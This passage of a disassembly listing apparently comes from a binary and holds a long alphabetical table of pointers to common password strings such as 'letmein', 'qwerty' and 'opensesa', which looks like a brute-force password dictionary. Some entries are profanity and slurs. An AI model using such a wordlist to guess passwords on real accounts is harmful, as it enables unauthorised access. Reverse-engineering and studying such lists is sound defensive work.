		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail_0	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
off_430050	dd offset aOffice	; DATA XREF: ___:0042606Co
					; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
off_43005C	dd offset aOlivetti	; DATA XREF: ___:off_425F08o
					; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
